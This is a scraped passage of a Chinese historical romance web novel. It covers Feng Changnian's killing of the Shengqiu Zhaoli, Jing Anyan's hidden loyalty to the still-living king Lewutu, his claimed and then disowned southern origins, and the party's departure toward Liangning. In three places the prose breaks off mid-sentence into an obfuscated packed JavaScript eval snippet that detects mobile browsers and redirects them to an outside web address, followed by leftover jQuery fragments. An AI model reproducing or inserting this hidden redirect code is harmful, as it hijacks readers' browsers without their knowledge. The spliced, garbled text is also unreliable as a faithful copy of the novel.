全都是装的!!! 封长念就是为了打听消息,才装成一副百思不得其解、左右为难的模样,其实只是为了将召砾知道的那些事情问个干干净净! 疼痛与震惊悉数翻涌,召砾怒喝一声,居然忍痛将剑锋拔了出来! 刹那间,鲜血喷涌,他狼狈地捂住腹部。 “为什么?!为什么!!!封珩!!!”召砾解下铃铛,仓皇地摇动,“来人!来人!!!” 铃声既没有催动封长念的蛊毒,也没有唤来手下的人。封长念心下一定,应是靖安言出手了。 召砾眼瞳猛烈地颤抖:“你……勒乌图给了你解药!?封长念!你居然真的帮一个贼人!还是个已死的贼人!你多蠢呐!!!” 封长念一擦墨痕剑上血迹,一步步向他走来:“是啊,我多蠢呐,知道为什么吗?” “不就是因为那个靖安言!你跟着他会吃大亏!吃大亏!!!老子好心让你回忆一下十年前他怎么背叛的你们,没想到你还是不长记性!!!” 封长念却摇摇头:“不对。不是因为这个。” “而是因为自始至终,我的目的、我此行要杀的人,只有你一个。” 召砾暴怒,扔了铃铛后顺手拎过一把大砍刀:“为什么!!” 封长念却不再言语,足尖点地,一阵风似的掠了过来。 方才那一剑穿透了召砾的腹部,卸掉了他大半的战斗力,封长念身轻如燕,墨痕剑带着令人胆寒的冷光,四面八方向他涌来。 召砾拿着砍刀格挡,他本是壮硕体型,蛮力加持才让他杀伤力十足,奈何一来他身负重伤,二来封长念步履轻飘、身法灵动,召砾根本跟不上他的动作。 一记重击砍下,腹部伤口撕裂严重,红血丝爬满了召砾的一双眼,可封长念已然掠到他身后,墨痕剑重重地对着他后心便是一剑! “我告诉你为什么。”封长念轻声道,“因为你自始至终的投诚,就没有投到我们的心坎上。” 我们。 召砾捕捉到他加重的字眼,仓皇地想——你们、你们。 你们要什么?南疆安定还不足够?蛊毒之秘还不吸引? 你们还要什么?! 封长念一脚踩在他背上,整个人如同鹞鹰一样翻起,愣是一丝一毫血迹都没有沾染上身。 “圣酋,你太贪了,也太把大魏当傻子。你既想要以拨乱反正的理由将外邦南疆王清理出去,又贪图外邦入侵带来的权柄,你想当第二个名正言顺的南疆王。” “而你一直在重复的那一句‘违心话’,我们是一家人,才是我们要的‘真心话’。”寒光一现,墨痕剑已逼到喉咙口,“大魏既不要外邦入侵的南疆王,也不要一个所谓本土的南疆王,更不要什么宗藩关系。我们要的,是收复南疆。” 封长念眸子里淬满了冰霜:“说遗言吧,圣酋大人。” 召砾被墨痕剑刺伤多处,鲜血涌动让他的双腿失去力气,他知道自己今天走不出这里了。 于是他低低地笑起来,然后愈发夸张:“好啊,好啊!你们看我和南疆王鹬蚌相争,你们大魏渔翁得利,如今南疆群龙无首,收复更待何时啊?!哈哈哈哈哈哈!” 封长念无言地看着他,突然道:“你知道你从什么时候就已经走上一条必死之路了吗?” 召砾怨毒地抬眼:“从我想拉拢你开始。” “不,”封长念晃了晃手里的古南洲史,“从你拿到这本书,并且在求证成功后开始膨胀野心、甘当出头鸟开始。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799154|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“什么?”召砾不敢置信地歪歪头,“……什么?” “但凡你求证后愿意与大魏里应外合,大魏都会考虑保下你,可你没有,因为你想当南疆王,自以为拿了个天大的把柄。”封长念拿书拍了拍他的脸,“殊不知,这把柄是有人故意送到你手里来的。” “沙宛国和南疆王之间的关系,我暂且不清楚,但只能知道,他们能安什么好心?”封长念直起身,“自始至终,我都在静观其变。而已。” 召砾暴怒:“可我有什么必死的理由吗?我是贪!但谁人不曾贪过!封长念,为什么要对我赶尽杀绝!我起码还杀了南疆王,也算是将功补过吧!!!” “当然有。”封长念波澜不惊,“你不死,南疆王怎么大权归拢,大魏又怎么在他大权归拢后一举击破,不留后患呢?” “圣酋大人,那我再最后问你一个问题吧,这次是真的最后一个问题了。”封长念沉声道,“你真的觉得,勒乌图,死了吗?” 寂静的夜色中突然燎起一把滔天大火,轰地一声,整个南疆几乎都在跟着抖三抖。 召砾那占地极宽极广的宅院,白天倒了一座楼,夜间又发生了震耳欲聋的爆炸,从后院而起,轰轰烈烈地炸翻了整座宅子,如同一轮火海中升起的太阳,照破了南疆漆黑的长夜。 苑长记合上最后一只匣子,被这一动静吓了一跳,仓皇地和秋长若对视:“长若姐……” “等等看。”秋长若脸色不大好看,紧紧揽着夷月,“等等……看!” 一柄铁箭燃着烈火,如衔枝的凤凰一般冲破了火海的熊熊浓烟,炸开了另一道流光! 一…… 熊熊烈火中,靖安言站在尸横遍地的庭院里,静静地望着那道背影,那道背影翻上房顶,引箭搭弓,手臂线条流畅又有力,侧脸俊逸又坚定。 二…… 靖安言背过手去,按耐不住似的在鲜血淋漓的掌心中挠了挠,眼睛一眨不眨,眼前划过很多身影。 一时是封长念拉弓时挺拔有力的背脊,一时又是他在自己面前仓促却无畏的笑容,说,那就把命给你呗。 三!!! 最后一道流光穿破夜空,苑长记和秋长若双双松了一口气,而同一天幕下的另一边,是靖安言毫无留恋地转身离开,极快地隐进了郁郁葱葱的树林中。 那鲜血淋漓的热闹距离他越来越远,他也往静谧的黑暗中越走越远。 不知行了多久,他脚步停住,一撩衣摆,单膝跪地:“属下幸不辱命,圣酋已死,兵符在此。” 漆黑的林中骤然传来一阵诡异的簌簌声。 像是晚风拂过林梢,又像是蟒蛇游走过丛林,最终,声音停了,一只手从阴影中探出,轻飘飘地从靖安言掌心拾起了兵符。 兵符上还有血迹,那只手抓着它翻了翻,然后笑了:“怎么把手弄成这样?” 靖安言没有抬头:“一点小伤。” 兵符被揣进了怀里,那个人也从阴影中走了出来,月光一线照亮,赫然是勒乌图的那张脸! 只是这张脸健康红润,丝毫不见什么苍白脆弱之色,更不见那可怖的心口伤痕,心脏在他胸膛里有力地跳动,生命在他的躯体内澎湃地活着。 勒乌图伸出一根手指,轻轻勾着靖安言的下巴抬起来。 “你这手也太磋磨了,之前为了给本王献忠剁了一次,如今又血淋淋的。这样好看的一双手,安言啊,怎么不好好爱护呢。” 勒乌图含笑的时候像是蓄势待发的毒蛇:“还是说,你看到了谁,让你心神激荡到……都顾不得爱惜自己的手了呢?” 靖安言不语,勒乌图也根本不着急,转而松开了他,眯了眯眼望着那屋脊上的身影。 “他好像在找你。”勒乌图摸了摸下巴,“没找到你,好像有些着急,又有些失望……礼部尚书封长念,绥西侯的后人的确是不能轻视,有点儿意思,我记住他了。” “王上……” “安言,你好像特别在意他,嗯?”勒乌图转过头,血红色的瞳孔里流转着诡异的光,“十年来未曾见过你如此在意一个人。如今他这般着急,你不去见见他吗?” 29.何人 靖安言回去的第一眼,看见的是封长念惊慌的身影和落寞的神情。 细微的爆裂还在继续,但封长念焦急的仿佛根本不在乎,他一扇又一扇推开被烧得滚烫的屋门,希冀着那个熟悉的影子可以出现,可门后空空,只有火苗越蹿越高。 他的背影也不再那般稳健,方才的镇定自若洗刷一空,只留下一只在萦绕的浓烟之内微微颤抖的手。 半晌,他翻遍了所有的屋子,终于确定那个人真的又一言不发地离开了时,仓皇的身影慢慢僵住了。 咣当——手里拎着的铁箭坠地,他站在那里,神情和十年前渐渐重合,像是不知道犯了什么错误才又被抛弃了的孩子,露出一副迷惘的神色。 靖安言这才发现,自己当年头也不回的那一眼,是有多沉重的视线。 “……长忆。” 封长念整个人蓦地一僵,不可思议地转过头来,烈火冲天,靖安言就站在他身后不远处,负手而立,身姿挺拔,像是十年前狠心决绝的人终于回头看了一眼。 封长念的眼睛里燃起比那火光还要明亮的光。 在靖安言还没有续上下半句的时候,封长念突然冲他跑了过来,然后一把狠狠地抱住了他。 这个拥抱太炽热也太猛烈,靖安言瞳孔微微放大,全然没有反应过来,只能呆呆地任他把自己揉进怀里。 “小师叔、小师叔……”封长念的嗓音在他右上方响起,带着本人都没有意识到的哽咽,“我以为、以为……” 靖安言如梦初醒,用力闭了闭眼,然后试探着抬起手,轻轻拍了拍。 “好了,在呢。” “你不明白……”像是终于抓住了那根救命稻草,封长念笃定的伪装悉数卸了下来,坦诚得令人不知今夕何夕,“你不明白我看到了什么,小师叔。” 靖安言整个人不着痕迹地一僵:“那我们先出去,你给我讲讲你看到了什么?” 封长念抱着他没动。 “小师叔。” 半晌,封长念终于轻轻放开了他,就在靖安言想要往后挪一步拉开距离,仔仔细细地看一眼这个人时,封长念却猝然伸手,一把勾住他的后颈,不带丝毫情欲地吻了他的额头。 浓烟滚滚,都不如这一吻来的灼热滚烫。 “十年前,你是不是觉得我很没用。”封长念拉开一点点距离,用只有他们两个人才听得清的声音说,“没关系,我现在很有用了。” 封长念不等靖安言再说什么,弯腰牵起他的手,拉着他快速离开了召砾的庭院。 “召砾已经死了,南疆圣酋之位自此空缺,兵权落空,必然引起纷乱。” “那些匣子,长记和长若姐应该已经拿到了,虽然不知道里面的东西是什么,但来得及再研究研究。” “还有……” 靖安言猛地一刹脚步,封长念被带了一个趔趄,疑惑地看过来。 “你为什么不问我我刚刚去哪了?”靖安言像是下定了什么决心般,笃定地问,“你其实是想问的,对不对?” 封长念没开口,依旧保持着牵着他的动作,只是微微用力握紧了他的手掌。 靖安言用了些力道,挣开了他的手:“封珩,其实南疆王……” “他没死,我知道。” 靖安言顿时失去了言语的能力。 封长念眨眨眼,手掌还停留在半空,只有一把虚无的风。 但他还是笑了:“怎么了,小师叔,你以为我不知道?从我来到这儿的第一天开始,或者说,大魏援军进南疆的第一天,你们就在做这个局,让大魏来人杀了召砾,南疆王趁机收拢兵权,不是吗?” 靖安言迟缓又迟疑地眨了下眼:“……你知道?” “我知道,我还知道,虽然那些匣子是你交给了长若姐他们,但里面重要的东西,比如兵符,比如布防图,还比如一些记载着古南洲史料的卷宗,你都藏走交给勒乌图了。” “你方才……是去见他了。”封长念缓步凑近了他,“对吧?” 靖安言静默片刻,突然释怀地呼出一口气,往后退了一步。 他抬起眼,由衷地说:“封珩,你长大了。” 封长念一直藏得很好,又是靖安言一手教的,所以潜意识里总觉得他还是那个少年,但抛开那些前尘往事,能被皇帝派来处理南疆事务的,怎么会没有洞若观火的能力。 他自嘲地抚了抚微凉的额头,暗讽自己告诉过封长念无数次,不要把自己同十年前的靖玄念看作相同,可笑这浩如烟海的前尘往事,抛不开的又何止封长念一人。 封长念沉默着没有回答。 靖安言却道:“既然你也知道南疆的情况,又一直很清楚我是谁的人,为什么还要帮南疆王,还要寻我?” 他想到一种可能:“……你是在利用我吗?” 封长念猝然抬头:“当然没有!” “你不用担心,长忆,你利用我也没有错,我们立场不同,身份不同,这是应该的。”靖安言甩了甩马尾,混不吝道,“要不然就白夸你了。” “我若是真的想利用你,今时今日就不会告诉你这些事,今时今日也不会站在这儿。”封长念语调有些低沉,一如他的情绪,“而且,我告诉你这些不是想说我什么都知道,我只是想让你……多信任信任我。” 信任他,相信他真的已经长大了,已经可以独当一面,甚至可以挡在靖安言身前,替他遮去他不想经历的、不愿经历的风霜雨雪。 昔日,是靖安言做参天大树,为少年封珩遮风挡雨,如今封长念比他曾经更加枝繁叶茂,于是便能将他拢在自己的荫蔽下,不必再吃那么多的苦。 ……不用再哭着笑。 他再也不想看见靖安言那种表情了。 靖安言听后却轻轻地勾了勾唇角,避开了封长念那束近乎渴求的目光。 “……如果你非要我求点儿什么,那我就只想问你一个问题。”封长念抿了抿唇,“你是谁?” 那一瞬仿佛被雷劈中,靖安言的神色微妙地一变,有些茫然地望向封长念,同时也是在望向他自己。 ……我是谁。 这个问题仿佛撞到了他心底沉寂的古钟,震荡去上面堆积十年的尘灰,声音古朴又庄重,余音绕梁,在耳边盘桓不肯去。 直到他们和夷月等人会合,这个问题依旧兀自在他脑中回响。 我是谁。 仿佛灵魂中有另一个自我,血迹斑斑地掩藏在角落,捆缚双手,眼含血泪:“我是谁?是啊,我是谁呢?” 而抬眼,是他父亲靖深痛苦地向他伸出手:“……安言,你听我说。这件事情不是你想的那样……” 粗粝的指腹摸在他的眼角,他那年不过十九岁,本以为有着明明白白、坦坦荡荡的前路,可他却突然再也看不到了。 他双手绞紧绳子,麻绳磨破了他引以为傲的那双手,仿佛手痛了别的地方就不会痛,结果发现都是骗人的。 “我不是……”靖安言眉心蹙紧,“我没有……没有那么……能去负担这样一个……” 这样一个让他喘息都困难的秘密。 靖深最终起身走了,可靖安言也看见了他转身时连点成线的泪。 然后门一开一合,是左清明进来了。 “……老头儿。”靖安言哑声道,“你早知道是不是?” 左清明不语,只是轻手轻脚给他解开了绳索,又拿来了药油,给他仔仔细细地涂抹到伤痕处。 “我是谁?”靖安言盯着他,“小时候你让我去街上蹲爹娘……你现在告诉我。我是谁?” 左清明握着他的手腕,终于看了他一眼:“你是——” 靖安言蓦地睁眼。 他睡着了,还因为那个问题,做了一个梦,一个真实发生的过去,一个真切发生的旧事。 燃着的火堆悄悄地在夜色中发出轻微爆破声,他环顾了一下四周,所有人都睡了。 封长念靠在他的旁边,呼吸平稳,眼下却有淡淡的乌青,想必这一趟劳心劳力,也是累坏了。 靖安言静静地看了他一会儿,然后轻手轻脚地起身了。 靖安言特别喜欢夜晚的丛林,觉得这里安静、神秘,温柔又无言,可以把什么都吞得下。 包括他的恨、他的不解、他的不甘和不忿。 他走了一会儿,感觉距离够远了,挑了棵树三下五除二翻上去,将腰间的玉笛拆下来,不多时,笛音缓缓倾泻。 这首曲子是靖安言一直很喜欢的,笛音不似杀人时那般激昂,反倒像是被大雨淋湿了翅膀的鸟儿,挣扎着、挣扎着,再也飞不到天空中去,有一种砭人肌骨的悲凉。 他出神地吹着调子,最后一个音收尾,封长念的声音恰好接上。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809219|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……冷不冷?” 靖安言一点都不意外他跟上来,缓缓放下笛子,一条腿随意地垂着,没有动静。 封长念也不着急,就在下面静静地站着等。 蓦地,上面传来声音:“你知道吗?我刚来南疆的时候,其实还没有投到王上麾下,只能四处游荡,自己搭了个简易的小房子,作为安身之处。” “那个时候,我其实每天都不知道要做什么,也不知道我该干什么,于是我发现了一件事可以很好打发时间,那就是喝酒,喝多了,睡一觉,又是一天过去了。” “南疆好酒很多,也很贵,幸好那个时候我还会耍剑,我就去卖艺,赚的钱都用来买酒,然后就喝,喝得酩酊大醉,梦里什么都没有,一觉到天亮,真痛快。” “最印象深刻的是有一次,我去坐船,船从两岸山中划过,上头船家的少年觉得无聊,说要和我玩,我问他怎么玩,他说互相问问题,不想回答或者不愿意说真话的,就喝酒,君子游戏,不许耍赖。” “我一开始骗他,我骗得多好,他根本看不出来,只能一杯接一杯的喝,后来我良心有愧,主动叫停了,我说我骗你的,我没有一句实话,所以这些酒我都喝了。” “那天我在船上喝醉了,昏睡过去前,听见那个少年问我,从小到大,教他的人都说,说谎的人要吞千根针,我说了那么多谎话,舌根不疼吗?” “我说他们骗你的,真正会说谎的人,都不在嘴上。”靖安言默了默,“那个少年……和你少年时挺像的,都是一双含情的眼睛。” 封长念垂着手,听见上面的声音低落了下来:“……我是谁呢?长忆,你觉得我是谁呢。” “你是我小师叔。”封长念手指蜷了蜷,“是带我三年的小师叔。” “小师叔。”靖安言一讪,“可惜你的小师叔,是个南疆人。不是从大魏叛逃的,是彻头彻尾、真真正正的南疆人。” 封长念手指蓦地攥紧了,抬眼往上看,靖安言却平静得不同寻常,仿佛这已经不是什么大秘密了,他坐在树干上眺望,青色的穗子扫过他的指骨,整个人如同一尊沐浴月色的雕像。 “靖深不是我爹,靖宓也不是我姐姐。我的身份是假的,是左清明那老头儿给我的。当年老头儿还是南军都督府左都督,正逢先代南疆王过世,南疆爆发了夺嫡之乱,勒乌图为了确保自己成王之路安顺,用蛊毒暗中杀死了所有手足。” “只有一个人幸免于难,是他同父异母的、最小的弟弟,他母亲是先代南疆王一个不起眼的侧室,她没什么野心,这辈子最大的算计,就是保住儿子一条命。于是她借着曾经与左清明有一些恩义,让他把孩子带离了南疆,改名换姓,成了左清明故交好友靖深的幼子。” 笛子不转了,靖安言垂下眼睫,静静地看着手中玉色的长笛,回避了树下封长念五味杂陈的目光。 “所以我当年离开大魏,是因为身份被魏明帝知道了,他要求我回到南疆,盗取蛊术之秘,否则,左清明、靖深,甚至是靖宓,都会以通敌叛国罪论处,满门抄斩、株连九族。” 他掀唇笑了下:“我那个时候脾气多大啊,他想让我滚,我就要灰溜溜地滚?真以为我能老老实实带秘密给他?都说我是南疆人了,还有什么立场帮大魏呢?我烧了靖家、烧了玄门、翻脸走人,只要我走了,他想威胁我也没有办法了。” 静了片刻,靖安言直接从树上蹦了下来,弯腰一捞,一声不吭地将封长念攥紧的手指一一掰开,封长念这才回神,发现掌心都被印上了月牙儿似的深痕。 靖安言掰完手指没松手,盯着他掌心的纹路看了一会儿,像是能从那纵横斑驳的掌纹中勘破什么玄机,然后才伸出另一只手盖在封长念已经泛凉的掌心。 “封长忆,你在想什么?” 封长念抿紧了唇,不知该如何回答。 靖安言却突然笑起来,眉眼弯弯,凑近了去瞧他一双眼睛:“你知道吗?其实我第一次见到你把你认成姑娘,就是觉得你这双眼睛极好看,含情又多情。本想把你带成个风流公子的,却没想到养痴了,还栽在了我身上。” 那双好看的眼睛划过一丝不解,专注地看着他的笑。 “说你痴,你还真的痴。”靖安言松手,唯一的一丝热源也隐去了,“你还是没习惯——说谎的人要吞千枚针,说一句,吞一枚。封珩,你猜猜,我刚刚要吞多少枚?” 30.离疆 封长念僵直了身体。 谎话吗?可靖安言话语中的那些细节又完全对得上,无论是南疆夺嫡事件、还是那位为了保护自己孩子而湮灭于南疆历史的南疆王侧妃,甚至是左清明和靖深的履历、魏明帝宋启迎的动机都完全说得通。 如果这是谎话,封长念有那么一个瞬间甚至觉得当务之急不是探查真相,而是要思考眼前这个人的背后,到底铺设了多少条线,才供他随心所欲地编制谎言。 就在他愣神的空档,靖安言反手将笛子别回腰间,上前一步搭住封长念的肩膀,勾住他的下巴,扳正了人正面看着自己。 “封珩,一个让你连底都看不到的人,就算我抛开万事万物回应了你的喜欢,以后数十年的光阴,在我身边,你睡得安稳吗?” 那动作亲昵得像是情人间的耳鬓厮磨,可言语吐露却字字冰寒,冷得封长念半边身子一僵,靖安言放开了他。 “你是聪明人,其他的话我不多说了。”靖安言绕过他,“你自己好自为之吧。” 封长念的手下意识从下巴处一抹,旋即却猛地愣住了:“……你手怎么了?” 靖安言脚步一顿,手? 他翻转手腕,才发现是掌心横贯的伤口因为用力过猛而再度崩裂,落在封长念唇角处是一道鲜艳的血迹。 封长念上前两步拉过他的手,细细辨认一番,脸上神色微妙地变了。 “打架的时候不小心擦伤了而已,用不着大惊小……” “小师叔,你给我吃的到底是什么药?” 靖安言眼睫一颤,下意识想抽回来,又被封长念死死攥着:“你眼下打架不用刀剑,但掌心痕迹分明是剑伤,而且位置……” 这位置,分明和十年前折剑之时,一模一样。 那把熄云剑被封长念收起来了,在靖安言的判决没下来之前,他自己拿着那两截断剑试过无数次,因此对那握剑的位置十分熟悉。 可惜后来魏明帝下令毁去一切关于靖安言的东西,包括这把熄云,自己也再也没有机会能够将它拼合修复。 封长念紧紧拉着靖安言,心道怎么可能有这么巧的事,他才在中蛊之时见过十年前的靖安言折剑,转头现实里靖安言手上就添了一模一样的伤痕。 除了靖安言喂过自己的那颗蛊,封长念暂时想不到第二种解释。 你到底隐瞒了什么? 你到底又为了我付出了什么? 这样的情况下,你还要把我往外推,为什么? 靖安言听懂了他的弦外之音,猛地扯回自己的手,声音骤冷:“封珩,这些都与你无关。” “我从曾经三年的情谊出发,丝毫不带情绪与谎言地最后劝你一句,你的使命既然已经完成,既看破了我们的打算,也深知你们的打算,那就走吧。” 他斩钉截铁地下了逐客令,比风还要令人灰心:“这几个月的重逢不长,但够本了,江湖路远,以后,不必再见了。” 夷月是第一个醒来的。 南疆大多数人昨夜都沉浸在酣畅的梦里,殊不知日月颠倒,大事已成,一代圣酋的没落就这样惊心动魄又悄无声息地过去了,她缓了好半天的神,才突然发现了不对劲。 “叶梵缇呢?!” 她一个激灵爬起来,一旁的苑长记和秋长若也被她弄醒了。 微凉的语气从树上传来:“圣酋空缺,总要有新人顶上,想必是去复命了吧。” 夷月和苑长记同时转头,靖安言晃荡着腿跟他们打了个招呼:“早啊。” 树下三个人神色各异,却默契地没有问叶梵缇去和谁复命这种愚蠢的问题,靖安言漫不经心地转笛子,心道自己对大魏玄门还是有些轻敌了,那番不被过往捆缚的话放到这两个人身上照样通顺。 苑长记环顾了一圈:“……不对啊,叶梵缇不说,长念呢?” 秋长若瞟了靖安言一眼,树上这人神色不变,仿佛跟没听见一样。 她心下了然,低低叹息一声,拽了下苑长记的袖口:“既然圣酋已死,帮南疆王平定叛乱的任务就完成了,那我们今天收拾收拾就可以离开南疆了。” 夷月“啊”了一声:“这么匆忙就要走啊。” 秋长若摸了摸她的发顶,这些日子里,她亲手给夷月编了许多漂亮的小发辫,她手巧,怎么揉都不会乱:“舍不得我啊?舍不得我跟我去大魏玩一圈怎么样?” 苑长记挑挑眉:“长若姐,这……恐怕不方便吧。” “有生之年,我还能从你嘴里听见‘不方便’三个字。”这话不是夷月和秋长若说的,靖安言在一旁听了半天热闹,终于没忍住,“苑柯,这次的确是太匆忙了,我居然没发现你性格沉稳了这么多。” “成了家的人,哪能还跟个孩子似的。”苑长记低低笑了一声,“可惜了,小师叔没喝上一杯喜酒。” 靖安言倒是来了兴致:“成家了?!什么时候的事儿,哪家的姑娘啊?” 苑长记捏着那块木牌,笑得极为开心,声调都扬上去三分:“她叫崔千雀。” “其实不光是我,大师兄、二师兄、长若姐,都成家了。”苑长记的笑容如同镜花水月,一触即收,“小师叔,岁月如梭、白驹过隙,其实十年了,有变化才正常,不变才可贵,不是吗?” 靖安言闻声顿了顿,旋即没听懂似的长眉一挑:“成了家了是不一样,说话都一套一套的。” 油盐不进的人说什么都不会听的,苑长记和秋长若对视一眼,心下无奈。 不过好在,封长念怕是已经想通了,否则不会不出面,只要能把人先捞回来,其他的就再—— 秋长若眼神一定:“……长念?” 靖安言刚从树上下来,正跟只刚睡醒的猫一样伸懒腰,见到人的时候实打实的顿了顿,那股酥麻劲儿不上不下地卡在半山腰,令人抓心挠肝地想碰一碰。 封长念没什么特殊的表情:“都起来了啊。我去找了点果子,当早饭垫一垫肚子吧。” 秋长若眉心一蹙,觉得这事儿有点不对:“……行,刚刚正巧说呢,垫一垫后咱们就该走了,毕竟这圣酋已死,我们再留也没有必要……” “你们先回吧。”封长念把果子递到她眼前,见她微微怔愣,干脆不由分说地塞进她的怀里,“我还不回大魏。” “你——” 果子上还有刚刚洗过的水珠,秋长若呆呆地任由自己的指尖濡湿,才彻底咽下那句恨铁不成钢的“你又要干什么”。 苑长记也不理解:“……你要在南疆待着?” “那倒也不是。”封长念分完了一圈,最后一只递到默不作声的靖安言面前,不知道话是跟谁说的,“……我要去一趟西域。” 秋长若和苑长记异口同声的诧异:“梁宁?!” “对,梁宁。”封长念见靖安言不动,直接拉过人的手,把果子塞进了他的掌心,又推着他的五指合拢了,“这么多年不回家了,我要去一趟。” 靖安言抓着那只果子,真的很想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14818925|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回他一句,当年你父亲身故,西军都督府全权交给了你叔叔封钧,那可是个不想让你回家的主,你现在这个节骨眼上去凑什么热闹? 但昨夜靖安言刻意划出了一条楚河汉界,他再多嘴表关心,那他昨天的那番话就白说了。 因此话到嘴边,靖安言敏锐地眨眨眼,用果子堵住了自己的嘴,嘎嘣咬了一口。 就这一口,他看见了封长念眼底浮动的神色,是一种说不清道不明的得意,隔阂仿佛随夜色一同消散了,封长念笑得真心实意,全然看不出什么伤心失意的自苦模样。 封长念心满意足地背过手,是个讨夸奖的模样:“所以,小师叔,一会儿我和长记还有长若姐就先走一步了,要不我还真怕我过不了神寂岭。” 封长念这个担忧纯属多余,除了秋长若在,还有夷月,这丫头听话听音,脑子转得特别快,话音未落直接拍了三枚出入神寂岭的解药在封长念手里。 封长念握着小药瓶道了谢,目光落在靖安言身上没移开。 像是有话要说,又像是要把他的样子记得深刻,如果目光有实质,那封长念的眼神简直和南疆的春风一样,黏人又缠绵,勾在靖安言身上的角角落落,抓一把都是熏人的暖。 可惜靖安言是撼不动的山峰,只是目送着他们走远,连句告别的话都没有说。 或许是昨夜已经说尽了,才不知道如何告别。 人影都已经看不到了,靖安言还在没滋没味地啃果核,直到夷月拱了他一下:“怎么不说话?” “我在想,什么叫‘先走一步’。”靖安言转着果核,“他是觉得我会出南疆进西域?但凭什么,那可是大魏的领地,沾一步我就成了过街老鼠,人人都能拿我性命。” 秋长若和苑长记也没琢磨明白他为什么突然要去西域。 直到出了神寂岭,进入大魏境内,封长念才坦言:“在召砾那儿,我搜出来了古南洲史的卷宗,是从沙宛国流进去的,若不是这些卷宗,召砾不会急于出头,我感觉沙宛国和南疆王之间,必有联系。” 苑长记思忖道:“但那也不用你亲自去吧,让陛下安排其他人岂不更好,你这身份去了西域名义上方便,实则处处掣肘吧——你叔叔那混蛋玩意儿能对你客气?” 秋长若在一旁幽幽地:“他哪里还顾得上什么叔叔,师叔才是他最挂念的。依我看,他是在赌,南疆王既然和沙宛国有勾结一同对付了召砾,那么下一步不可能不和那边通气。他在赌的,就是南疆王会放小师叔来办这个差事。对不对?” 封长念默然不语,算是承认了。 苑长记一掌拍上自己前额:“师弟师弟,师兄真心实意劝你一句,你怎么就觉得南疆王会让小师叔来呢?他手下那么多人能用,叶梵缇,夷月,还有大祭司夷靡殊。” “因为我觉得,南疆王其实并不全然信任小师叔,利用更多。如果小师叔能够回一趟大魏,南疆王想必也会借机再次打探他叛逃的虚实。一箭双雕的事儿,他不做是他自己蠢。” 秋长若抄起双臂:“……就算他去,梁宁地域宽广,你上哪儿去找人?” 封长念眨了眨眼。 “所以说,这事儿成本太高,风险也大,且还真不一定……” 封长念却抬了手:“只要他去,我就一定能找到他。” 苑长记和秋长若:“?” “因为我在离开南疆前,请教了夷月姑娘一些问题。”封长念抚上自己心口处,“……也让她帮了我一个小忙。” 31.梁宁 靖安言第二十八次不自在地整理了一下袖口。 一旁的夷月吃得正香,余光里瞟到他的动作,歪歪头道:“怎么啦?衣服不合身?方才在成衣店老板不是改过了吗?” 靖安言手一顿,别扭地否认:“……没有,合身。” “哦——”夷月举起筷子,“你不习惯。” “筷子不能指人,还有,十年我没穿过大魏的衣服了,不可以不习惯一下吗?” 夷月看破不说破,转回头去埋头苦吃。 徒留靖安言一个人默默调转了目光,望向熙熙攘攘的大街。 还真回来了。 他心里默默叹息。 大魏,梁宁,靖安言在大魏活了十九年都未曾涉足过的地界,第一次来居然是为了南疆王勒乌图。 当时封长念他们前脚刚走,后脚他带着夷月回王宫复命,一大早就不见人影的叶梵缇安稳地守在勒乌图身边,本就是丰神俊朗的少年如今更胜往昔,在眉毛上方二指宽的地方佩了一条额带,两颗兽牙压在太阳穴的地方泛着寒光。 “安言,阿月,回来了。”勒乌图心情甚佳,招呼着他们过来坐,“本王还没来得及介绍,如今叶梵缇是我南疆新任圣酋,统领兵马边防,他年纪轻,以后有什么地方,安言你也要多提点他。” 靖安言乖觉地垂下眼:“不敢,帮着理事罢了。” 勒乌图对他这个回答不算是很意外,知道这人谨慎惯了,索性三步并两步晃下来,手里还拿着从召砾尸体上拆下来的玉佩。 玉佩抵在靖安言下巴,往上勾了勾,勒乌图凑近了,语调轻柔:“安言呐,我把圣酋之位给了梵缇未给你,心里会不会不平?” 靖安言垂着眼笑了声:“这话说的就见外了,王上,安言只身一人,一切为了南疆,功名利禄于我,不算什么,圣酋之位更是不算什么。” “抬头看着我说。”勒乌图手上用了些力道,“看着我,再说一次。” 靖安言掀起眼帘,再度重复:“王上大可放心,梵缇才多大,论出身论本领,我怎么会和他相争。” 那双浅色的瞳孔里写满了坦荡和诚恳,靖安言如果想要真心实意地跟人讲话,那双漂亮的桃花眼是太好的利器,只要里面的情绪轻轻一漾,就让人说不出不信任的话来。 勒乌图思绪微微一滞,旋即也笑了:“那就好,我知道,你是我信得过的人。” 话音未落,他便反手将一封信拍在靖安言胸口。 靖安言一愣:“……这是?” “安言,召砾这件事情还有些尾巴要清扫,大魏那边你暂时不用管了,我需要你去一趟梁宁,和我的‘接信人’见面,把这个亲手交给他。” 